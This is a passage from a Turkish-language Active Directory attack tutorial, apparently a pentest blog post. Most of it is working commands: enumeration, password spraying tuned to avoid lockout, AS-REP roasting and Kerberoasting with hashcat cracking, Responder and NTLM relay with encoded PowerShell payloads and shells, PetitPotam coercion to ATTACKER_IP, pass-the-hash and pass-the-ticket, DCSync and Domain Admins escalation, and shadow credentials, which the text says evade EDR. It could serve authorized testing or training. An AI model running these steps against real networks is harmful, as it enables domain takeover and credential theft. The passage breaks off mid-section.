&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# LDAP Anonymous Bind — DC keşfi ve base DN tespiti
ldapsearch -x -H ldap://10.10.10.10 -b &amp;quot;&amp;quot; -s base &amp;quot;(objectclass=*)&amp;quot; namingContexts

# Eğer anonymous bind açıksa: DC=corp,DC=local altını listele
ldapsearch -x -H ldap://10.10.10.10 -b &amp;quot;DC=corp,DC=local&amp;quot; &amp;quot;(objectclass=user)&amp;quot; sAMAccountName

# Enum4linux-ng — kapsamlı SMB/RPC/LDAP numaralandırma
enum4linux-ng -A 10.10.10.10

# CrackMapExec — null session testi
crackmapexec smb 10.10.10.10 -u &#39;&#39; -p &#39;&#39;
crackmapexec smb 10.10.10.10 -u &#39;guest&#39; -p &#39;&#39;

# Nmap LDAP scriptleri
nmap -p 389,636 --script ldap-rootdse,ldap-search --script-args ldap.base=&#39;&amp;quot;DC=corp,DC=local&amp;quot;&#39; 10.10.10.10

# NetBIOS ve SMB keşfi
nbtscan 10.10.10.0/24
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Null session başarılı olursa:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Domain adı, DC hostnames&lt;/li&gt;
&lt;li&gt;NetBIOS/FQDN bilgisi&lt;/li&gt;
&lt;li&gt;Paylaşılan klasörler (SYSVOL, NETLOGON)&lt;/li&gt;
&lt;li&gt;Kullanıcı listesi (RID bruteforce ile)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;1.2 Kimlik Doğrulamalı (Authenticated) Numaralandırma&lt;/h4&gt;
&lt;p&gt;Herhangi bir domain hesabı (hatta düşük yetkili) ile çok daha fazla bilgiye ulaşılır.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# PowerView — temel domain bilgisi
Import-Module .&#92;PowerView.ps1
Get-Domain
Get-DomainController
Get-DomainPolicy

# Kullanıcı numaralandırma
Get-DomainUser | select samaccountname, description, memberof, useraccountcontrol, lastlogondate, passwordlastset, admincount
Get-DomainUser -Properties * | Where-Object {$_.Description -ne $null} | select samaccountname, description

# SPN&#39;li kullanıcılar (Kerberoasting adayları)
Get-DomainUser -SPN | select samaccountname, serviceprincipalname, msds-supportedencryptiontypes

# DONT_REQUIRE_PREAUTH kullanıcıları (AS-REP Roasting adayları)
Get-DomainUser -UACFilter DONT_REQUIRE_PREAUTH | select samaccountname

# Grup numaralandırma
Get-DomainGroup | select name, description, memberof
Get-DomainGroupMember &amp;quot;Domain Admins&amp;quot; -Recurse

# Bilgisayar numaralandırma
Get-DomainComputer | select name, operatingsystem, dnshostname, ms-mcs-admpwd

# Paylaşım tarama
Find-DomainShare -Verbose
Invoke-ShareFinder -ExcludeStandard -Verbose

# LAPS okuma (AllExtendedRights veya LAPS okuma hakkı gerekli)
Get-DomainComputer | Where-Object {$_.&amp;quot;ms-mcs-admpwdexpirationtime&amp;quot; -ne $null} | select name, &amp;quot;ms-mcs-admpwd&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Impacket ile LDAP numaralandırma
python3 GetADUsers.py corp.local/jdoe:Password123 -all

# CrackMapExec ile kapsamlı tarama
crackmapexec smb 10.10.10.10 -u jdoe -p &#39;Password123&#39; --users
crackmapexec smb 10.10.10.10 -u jdoe -p &#39;Password123&#39; --groups
crackmapexec smb 10.10.10.10 -u jdoe -p &#39;Password123&#39; --shares
crackmapexec smb 10.10.10.10 -u jdoe -p &#39;Password123&#39; --sessions
crackmapexec ldap 10.10.10.10 -u jdoe -p &#39;Password123&#39; --kdcHost 10.10.10.10 -M get-desc-users

# ldapsearch ile detaylı sorgular
ldapsearch -x -H ldap://10.10.10.10 -D &amp;quot;jdoe@corp.local&amp;quot; -w &#39;Password123&#39; &#92;
  -b &amp;quot;DC=corp,DC=local&amp;quot; &amp;quot;(&amp;amp;(objectCategory=person)(objectClass=user)(servicePrincipalName=*))&amp;quot; &#92;
  sAMAccountName servicePrincipalName msDS-SupportedEncryptionTypes
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1.3 BloodHound ile Saldırı Yolu Haritalama&lt;/h4&gt;
&lt;p&gt;BloodHound, AD nesneleri arasındaki ilişkileri graf veritabanında (Neo4j) depolar ve attack path analizi için en güçlü araçtır.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# SharpHound ile veri toplama (Windows)
.&#92;SharpHound.exe -c All --zipfilename bloodhound_output.zip
.&#92;SharpHound.exe -c DCOnly      # sadece DC sorguları (daha hızlı)
.&#92;SharpHound.exe -c Session     # aktif oturumlar
.&#92;SharpHound.exe -c LoggedOn    # oturum açmış kullanıcılar (admin gerekli)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# BloodHound.py ile Linux&#39;tan uzak toplama
python3 bloodhound.py -u jdoe -p &#39;Password123&#39; -d corp.local -dc dc01.corp.local -c all --zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;BloodHound&#39;da kritik Cypher sorguları:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// Domain Admin&#39;e en kısa yol
MATCH p=shortestPath((u:User {owned:true})-[*1..]-&amp;gt;(g:Group {name:&amp;quot;DOMAIN ADMINS@CORP.LOCAL&amp;quot;})) RETURN p

// Kerberoastable hesaplar
MATCH (u:User {hasspn:true, enabled:true}) RETURN u.name, u.serviceprincipalnames

// AS-REP Roastable hesaplar
MATCH (u:User {dontreqpreauth:true, enabled:true}) RETURN u.name

// Unconstrained Delegation bilgisayarları
MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name STARTS WITH &#39;DC&#39; RETURN c.name

// High-value hedef üzerinde yazma hakkı olan gruplar
MATCH (g:Group)-[:WriteDacl|GenericAll|GenericWrite|Owns|WriteOwner]-&amp;gt;(n:Computer {highvalue:true}) RETURN g.name, n.name

// AdminTo ilişkileri (local admin)
MATCH p=(u:User)-[:AdminTo]-&amp;gt;(c:Computer) RETURN u.name, c.name

// Tüm DCSync haklarını listele
MATCH p=(n)-[:DCSync]-&amp;gt;(d:Domain) RETURN n.name, d.name
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/ad-bloodhound-paths.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Bölüm 2: Kimlik Bilgisi Saldırıları&lt;/h3&gt;
&lt;h4&gt;2.1 Password Spraying&lt;/h4&gt;
&lt;p&gt;Brute force yerine tek şifreyi tüm kullanıcılarda deneriz — hesap kilitleme politikasını aşmak için.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Kerbrute (Kerberos pre-auth üzerinden — log bırakır ama domain trafiği gerektirir)
./kerbrute passwordspray -d corp.local users.txt &#39;Winter2024!&#39;
./kerbrute userenum -d corp.local wordlist.txt  # Önce geçerli kullanıcıları bul

# CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p &#39;Sifre2024!&#39; --continue-on-success
crackmapexec smb 10.10.10.10 -u users.txt -p &#39;Sifre2024!&#39; --no-bruteforce

# Spray.ps1 (Windows)
Invoke-SprayEmptyPassword -UserList users.txt -Domain corp.local
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Kritik:&lt;/strong&gt; Spray öncesi &lt;code&gt;Get-DomainPolicy&lt;/code&gt; ile &lt;code&gt;lockoutThreshold&lt;/code&gt; değerini kontrol edin. Lockout&#39;tan en az 2 deneme düşük kalın ve her deneme arasında 30+ dakika bekleyin.&lt;/p&gt;
&lt;h4&gt;2.2 AS-REP Roasting&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Nedir?&lt;/strong&gt; Normal Kerberos&#39;ta istemci, AS-REQ gönderirken kullanıcının NTLM hash&#39;i ile şifrelenmiş bir timestamp ekler (pre-authentication). Bu timestamp KDC&#39;nin kullanıcıyı doğrulamasını sağlar. Ancak &lt;code&gt;UserAccountControl&lt;/code&gt; attribute&#39;undaki &lt;code&gt;DONT_REQUIRE_PREAUTH&lt;/code&gt; flag&#39;i (0x400000 = UF_DONT_REQUIRE_PREAUTH) aktifse, KDC bu doğrulamayı atlar ve herkes o kullanıcı için AS-REP hash&#39;i talep edebilir. Bu hash çevrimdışı kırılabilir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tespit:&lt;/strong&gt; LDAP filter: &lt;code&gt;(userAccountControl:1.2.840.113556.1.4.803:=4194304)&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# PowerView ile tespit
Get-DomainUser -UACFilter DONT_REQUIRE_PREAUTH | select samaccountname, useraccountcontrol

# Rubeus ile hash toplama (Windows)
Rubeus.exe asreproast /nowrap /format:hashcat
Rubeus.exe asreproast /user:svc_backup /nowrap   # Belirli kullanıcı için

# Belirli bir şifreleme türü zorlamak (AES256 yerine RC4 — daha hızlı kırılır)
Rubeus.exe asreproast /nowrap /format:hashcat /rc4opsec
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Impacket GetNPUsers.py (Linux&#39;tan)
python3 GetNPUsers.py corp.local/ -no-pass -usersfile users.txt -dc-ip 10.10.10.10 -outputfile asrep_hashes.txt
python3 GetNPUsers.py corp.local/jdoe:Password123 -request -format hashcat -outputfile asrep_hashes.txt

# Hashcat ile kırma
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;msDS-SupportedEncryptionTypes ile ilişki:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Eğer hesabın &lt;code&gt;msDS-SupportedEncryptionTypes&lt;/code&gt; değeri &lt;code&gt;0x17&lt;/code&gt; (RC4_HMAC_MD5 + diğerleri) veya &lt;code&gt;0x04&lt;/code&gt; (yalnızca RC4) ise, AS-REP hash&#39;i RC4 ile şifrelenir — daha hızlı kırılır. Modern ortamlarda AES256 (0x18) tercih edilir ve daha uzun sürer.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# msDS-SupportedEncryptionTypes = 0 → RC4 default (eski domain)
# msDS-SupportedEncryptionTypes = 4 → yalnızca RC4
# msDS-SupportedEncryptionTypes = 8 → yalnızca AES128
# msDS-SupportedEncryptionTypes = 16 → yalnızca AES256
# msDS-SupportedEncryptionTypes = 28 → RC4 + AES128 + AES256
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.3 Kerberoasting&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Nedir?&lt;/strong&gt; Herhangi bir kimlik doğrulanmış domain kullanıcısı, &lt;code&gt;servicePrincipalName&lt;/code&gt; (SPN) attribute&#39;u olan herhangi bir hesap için TGS (Ticket Granting Service) talep edebilir. Bu bilet, ilgili hizmet hesabının NTLM hash&#39;i ile şifrelenir. Saldırgan bileti alır ve çevrimdışı kırar.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Önemli Attribute&#39;lar:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;servicePrincipalName&lt;/code&gt; — hangi SPN&#39;lerin kayıtlı olduğu&lt;/li&gt;
&lt;li&gt;&lt;code&gt;msDS-SupportedEncryptionTypes&lt;/code&gt; — şifreleme türü (RC4 = hızlı kırma, AES256 = yavaş)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# PowerView ile SPN&#39;li hesapları bul
Get-DomainUser -SPN | select samaccountname, serviceprincipalname, msds-supportedencryptiontypes, admincount, memberof

# Rubeus (Windows) — tüm SPN&#39;li hesaplar için TGS iste
Rubeus.exe kerberoast /nowrap
Rubeus.exe kerberoast /nowrap /rc4opsec         # RC4 zorla (eski uyumluluk modu)
Rubeus.exe kerberoast /user:svc_sql /nowrap      # Belirli kullanıcı
Rubeus.exe kerberoast /tgtdeleg /nowrap          # TGT delegasyonu ile (noiseless)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Impacket GetUserSPNs.py (Linux&#39;tan)
python3 GetUserSPNs.py corp.local/jdoe:Password123 -dc-ip 10.10.10.10 -request -outputfile kerberoast.txt
python3 GetUserSPNs.py corp.local/jdoe:Password123 -dc-ip 10.10.10.10 -request -target-domain corp.local

# Hashcat ile kırma
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r rules/d3ad0ne.rule

# AES256 Kerberoast — farklı hashcat modu
hashcat -m 19700 kerberoast_aes.txt wordlist.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;RC4 Şifreleme Zorlaması (msDS-SupportedEncryptionTypes Manipulation):&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;GenericWrite hakkı varsa, hedef kullanıcının &lt;code&gt;msDS-SupportedEncryptionTypes&lt;/code&gt; attribute&#39;unu RC4 olarak ayarlayarak daha hızlı kırılacak bilet alabilirsiniz:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# msDS-SupportedEncryptionTypes = 4 → yalnızca RC4 (eski)
Set-DomainObject -Identity svc_sql -Set @{msds-supportedencryptiontypes=4}
# Kerberoast → RC4 şifrelenmiş bilet alınır → daha hızlı kırma
Rubeus.exe kerberoast /user:svc_sql /nowrap
# Temizlik: eski değere dön
Set-DomainObject -Identity svc_sql -Set @{msds-supportedencryptiontypes=28}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.4 NTLM Hash Yakalama ve Relay&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Responder — ağda NTLM challenge-response yakala
sudo python3 Responder.py -I eth0 -wrf
# Yakalanan hash → /usr/share/responder/logs/
hashcat -m 5600 ntlmv2_hashes.txt wordlist.txt   # NetNTLMv2

# NTLM Relay — hash&#39;i relay ederek doğrudan erişim
# SMB signing disabled olan hedeflere relay
sudo python3 ntlmrelayx.py -tf targets.txt -smb2support
sudo python3 ntlmrelayx.py -tf targets.txt -smb2support -c &amp;quot;powershell -enc BASE64PAYLOAD&amp;quot;
sudo python3 ntlmrelayx.py -tf targets.txt -smb2support -i   # interactive shell

# Coercion için PetitPotam (DC&#39;yi bize auth etmeye zorla)
python3 PetitPotam.py ATTACKER_IP DC01_IP
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Bölüm 3: Lateral Movement&lt;/h3&gt;
&lt;p&gt;Bir makine ele geçirildikten sonra ağda yayılım başlar.&lt;/p&gt;
&lt;h4&gt;3.1 Pass-the-Hash (PtH)&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Impacket araçları ile PtH
python3 psexec.py -hashes :NT_HASH administrator@10.10.10.10
python3 wmiexec.py -hashes :NT_HASH administrator@10.10.10.10
python3 smbexec.py -hashes :NT_HASH administrator@10.10.10.10
python3 atexec.py -hashes :NT_HASH administrator@10.10.10.10 &amp;quot;whoami&amp;quot;

# CrackMapExec
crackmapexec smb 10.10.10.0/24 -u administrator -H NT_HASH --sam
crackmapexec winrm 10.10.10.10 -u administrator -H NT_HASH -x &amp;quot;whoami&amp;quot;

# Evil-WinRM
evil-winrm -i 10.10.10.10 -u administrator -H NT_HASH
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Mimikatz
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:HASH /run:cmd.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3.2 Overpass-the-Hash (OPtH)&lt;/h4&gt;
&lt;p&gt;NT hash → Kerberos TGT. NT hash&#39;i bildiğinizde WinRM veya NTLM devre dışı olan hedeflere Kerberos ile giriş yapabilirsiniz.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Mimikatz
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:HASH /run:powershell.exe
# Yeni PowerShell penceresinde:
dir &#92;&#92;DC01&#92;C$  # TGT otomatik alınır

# Rubeus
Rubeus.exe asktgt /user:administrator /rc4:HASH /ptt   # TGT al ve enjekte et
Rubeus.exe asktgt /user:administrator /aes256:AES_HASH /ptt
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3.3 Pass-the-Ticket (PtT)&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Bellekteki TGT&#39;leri dump et
Rubeus.exe dump /nowrap
Mimikatz: sekurlsa::tickets /export

# TGT&#39;yi başka bir konuma taşı
Rubeus.exe ptt /ticket:BASE64_TICKET
Mimikatz: kerberos::ptt ticket.kirbi

# Tüm bellekteki biletleri listele
klist
Rubeus.exe klist
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3.4 Uzaktan Kod Çalıştırma&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# WinRM (port 5985/5986)
evil-winrm -i 10.10.10.10 -u jdoe -p &#39;Password123&#39;

# WMI
python3 wmiexec.py corp.local/administrator:&#39;Password123&#39;@10.10.10.10

# SMB + PsExec (servis oluşturur — gürültülü)
python3 psexec.py corp.local/administrator:&#39;Password123&#39;@10.10.10.10

# DCOM
python3 dcomexec.py corp.local/administrator:&#39;Password123&#39;@10.10.10.10
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Bölüm 4: ACL / ACE Tabanlı Ayrıcalık Yükseltme ve Attribute Manipülasyonu&lt;/h3&gt;
&lt;p&gt;Bu bölüm, AD testlerinin en nüanslı ve sık gözden kaçan alanıdır. Active Directory&#39;de her nesne (kullanıcı, grup, bilgisayar, OU, GPO, domain nesnesi) bir &lt;strong&gt;DACL&lt;/strong&gt; (Discretionary Access Control List) içerir. DACL, o nesne üzerinde hangi güvenilirin (trustee) ne tür erişime sahip olduğunu belirleyen ACE (Access Control Entry) listesidir.&lt;/p&gt;
&lt;p&gt;Bir saldırgan, düşük yetkili bir hesapta belirli ACE&#39;leri tespit ederse, bu ACE&#39;leri kullanarak üst yetki elde edebilir ve kritik AD &lt;strong&gt;attribute&#39;larını manipüle edebilir&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/ad-acl-abuse-chain.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;4.1 Tehlikeli ACE Türleri&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ACE&lt;/th&gt;
&lt;th&gt;Nesne Türü&lt;/th&gt;
&lt;th&gt;Saldırı Etkisi&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GenericAll&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;User, Group, Computer, GPO&lt;/td&gt;
&lt;td&gt;Tam kontrol — tüm alt saldırılar mümkün&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GenericWrite&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;User, Computer&lt;/td&gt;
&lt;td&gt;Belirli attribute&#39;ları yaz&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;WriteDACL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Herhangi&lt;/td&gt;
&lt;td&gt;DACL&#39;a yeni ACE ekle → kendine izin ver&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;WriteOwner&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Herhangi&lt;/td&gt;
&lt;td&gt;Nesnenin sahibini değiştir → WriteDACL al&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AllExtendedRights&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;User, Computer&lt;/td&gt;
&lt;td&gt;ForceChangePassword, LAPS oku&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ForceChangePassword&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;User&lt;/td&gt;
&lt;td&gt;Eski şifre bilmeden şifre değiştir&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AddMember&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Group&lt;/td&gt;
&lt;td&gt;Gruba üye ekle&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Self&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Group&lt;/td&gt;
&lt;td&gt;Kendini gruba ekle&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;WriteProperty (member)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Group&lt;/td&gt;
&lt;td&gt;Grup üyeliğini yaz&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ReadProperty (ms-Mcs-AdmPwd)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Computer&lt;/td&gt;
&lt;td&gt;LAPS şifresini oku&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DS-Replication-Get-Changes + All&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Domain&lt;/td&gt;
&lt;td&gt;DCSync hakkı&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Bir kullanıcı üzerindeki tüm ACE&#39;leri listele
Get-DomainObjectAcl -Identity jdoe -ResolveGUIDs | Where-Object {
  $_.ActiveDirectoryRights -match &amp;quot;GenericAll|WriteDacl|WriteOwner|GenericWrite|AllExtendedRights&amp;quot;
}

# Kendi hesabımızın sahip olduğu tüm ilginç ACE&#39;leri bul
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
  $_.IdentityReferenceName -match &amp;quot;jdoe|IT_Helpdesk&amp;quot;
}

# BloodHound ile — owned olarak işaretli kullanıcıdan DA&#39;ya outbound edges
# Queries → Shortest Paths from Owned Principals
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4.2 GenericAll — Tam Kontrol&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;User üzerinde GenericAll:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Şifre değiştirme (ForceChangePassword)
Set-DomainUserPassword -Identity target_user -AccountPassword (ConvertTo-SecureString &#39;NewP@ss!&#39; -AsPlainText -Force)

# SPN set edip Kerberoast (servicePrincipalName attribute)
Set-DomainObject -Identity target_user -Set @{serviceprincipalname=&#39;fake/service.corp.local&#39;}
Rubeus.exe kerberoast /user:target_user /nowrap
Set-DomainObject -Identity target_user -Clear serviceprincipalname  # temizlik

# Shadow Credentials (aşağıda detaylı)
Whisker.exe add /target:target_user

# Hesap devre dışı bırakma / etkinleştirme (userAccountControl)
Set-DomainObject -Identity target_user -Set @{useraccountcontrol=512}  # aktif et
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Group üzerinde GenericAll:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Domain Admins grubuna üye ekle
Add-DomainGroupMember -Identity &amp;quot;Domain Admins&amp;quot; -Members jdoe
net group &amp;quot;Domain Admins&amp;quot; jdoe /add /domain
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Computer üzerinde GenericAll:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# RBCD için msDS-AllowedToActOnBehalfOfOtherIdentity attribute&#39;unu yaz
# (Aşağıda Bölüm 6&#39;da detaylı)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4.3 GenericWrite — Seçici Yazma&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# logonScript attribute&#39;unu değiştir → kullanıcı login&#39;de script çalışır
Set-DomainObject -Identity target_user -Set @{scriptpath=&#39;&#92;&#92;attacker&#92;share&#92;payload.bat&#39;}

# SPN manipulation (Kerberoasting için)
Set-DomainObject -Identity target_user -Set @{serviceprincipalname=&#39;http/fakesvc.corp.local&#39;}

# Computer üzerinde GenericWrite → RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity)
$sid = (Get-DomainComputer FAKEMACHINE).objectsid
$sd = New-Object Security.AccessControl.RawSecurityDescriptor &amp;quot;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)&amp;quot;
$sdBytes = New-Object byte[] ($sd.BinaryLength)
$sd.GetBinaryForm($sdBytes, 0)
Set-DomainComputer TARGET -Set @{&#39;msds-allowedtoactonbehalfofotheridentity&#39;=$sdBytes}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4.4 WriteDACL — DACL Manipülasyonu&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Domain nesnesi üzerinde WriteDACL varsa → DCSync hakları ekle
Add-DomainObjectAcl -TargetIdentity &amp;quot;DC=corp,DC=local&amp;quot; -PrincipalIdentity jdoe `
  -Rights DCSync -Verbose

# Belirli hakları ayrı ayrı ekle
Add-DomainObjectAcl -TargetIdentity &amp;quot;DC=corp,DC=local&amp;quot; -PrincipalIdentity jdoe `
  -Rights All -Verbose

# Kullanıcı üzerinde WriteDACL → kendine GenericAll ekle
Add-DomainObjectAcl -TargetIdentity target_user -PrincipalIdentity jdoe `
  -Rights All -Verbose
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4.5 WriteOwner — Sahiplik Alma&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Nesnenin sahibini kendimiz yapıyoruz
Set-DomainObjectOwner -Identity target_user -OwnerIdentity jdoe

# Sahibi olarak WriteDACL ekleyebiliriz
Add-DomainObjectAcl -TargetIdentity target_user -PrincipalIdentity jdoe -Rights All
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4.6 Shadow Credentials — msDS-KeyCredentialLink Attribute&lt;/h4&gt;
&lt;p&gt;Shadow Credentials, 2021 yılında Elad Shamir tarafından keşfedilen bir tekniktir. Hedef kullanıcı veya bilgisayar üzerinde &lt;strong&gt;GenericAll&lt;/strong&gt; ya da &lt;strong&gt;GenericWrite&lt;/strong&gt; hakkınız varsa, &lt;code&gt;msDS-KeyCredentialLink&lt;/code&gt; attribute&#39;una kendi sertifikanızın hash&#39;ini ekleyebilirsiniz. Bu, Windows Hello for Business (WHfB) altyapısını kullanır; PKINIT ile hedef hesabın TGT&#39;sini alabilir ve oradan NT hash&#39;e ulaşırsınız — şifreyi bilmeden.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Windows — Whisker
Whisker.exe add /target:svc_sql
# Çıktı: Rubeus.exe asktgt /user:svc_sql /certificate:BASE64 /password:&amp;quot;&amp;quot; /domain:corp.local /ptt

# Rubeus ile TGT al
Rubeus.exe asktgt /user:svc_sql /certificate:BASE64 /password:&amp;quot;random&amp;quot; /domain:corp.local /ptt

# NT hash al (U2U PKINIT)
Rubeus.exe getnthash /ticket:BASE64_TGT /certificate:BASE64_CERT /password:&amp;quot;random&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Linux — pywhisker
python3 pywhisker.py -d corp.local -u jdoe -p &#39;Password123&#39; --target svc_sql --action add

# gettgtpkinit.py ile TGT al
python3 gettgtpkinit.py corp.local/svc_sql -cert-pem cert.pem -key-pem key.pem svc_sql.ccache

# NT hash al
python3 getnthash.py corp.local/svc_sql -key &#39;AES_SESSION_KEY&#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Neden Güçlü?&lt;/strong&gt; Şifre değiştirmeden çalışır. Antivirus/EDR tetiklemez. Kerberos kimlik doğrulama akışı normaldir. Kalıcılık sağlar (attribute silinmeden çalışmaya devam eder).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Silmek için:&lt;/strong&gt; &lt;code&gt;Whisker.exe remove /target:svc_sql /deviceid:GUID&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;4.7 adminCount Attribute ve AdminSDHolder&lt;/h4&gt;
&lt;p&gt;AD&#39;de belirli yüksek yetkili grupların (Domain Admins, Schema Admins, Enterprise Admins, Backup Operators vb.) üyeleri için &lt;code&gt;adminCount=1&lt;/code&gt; attribute&#39;u otomatik olarak set edilir. Bu hesaplar, &lt;strong&gt;AdminSDHolder&lt;/strong&gt; nesnesiyle korunur.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# adminCount=1 olan tüm hesaplar
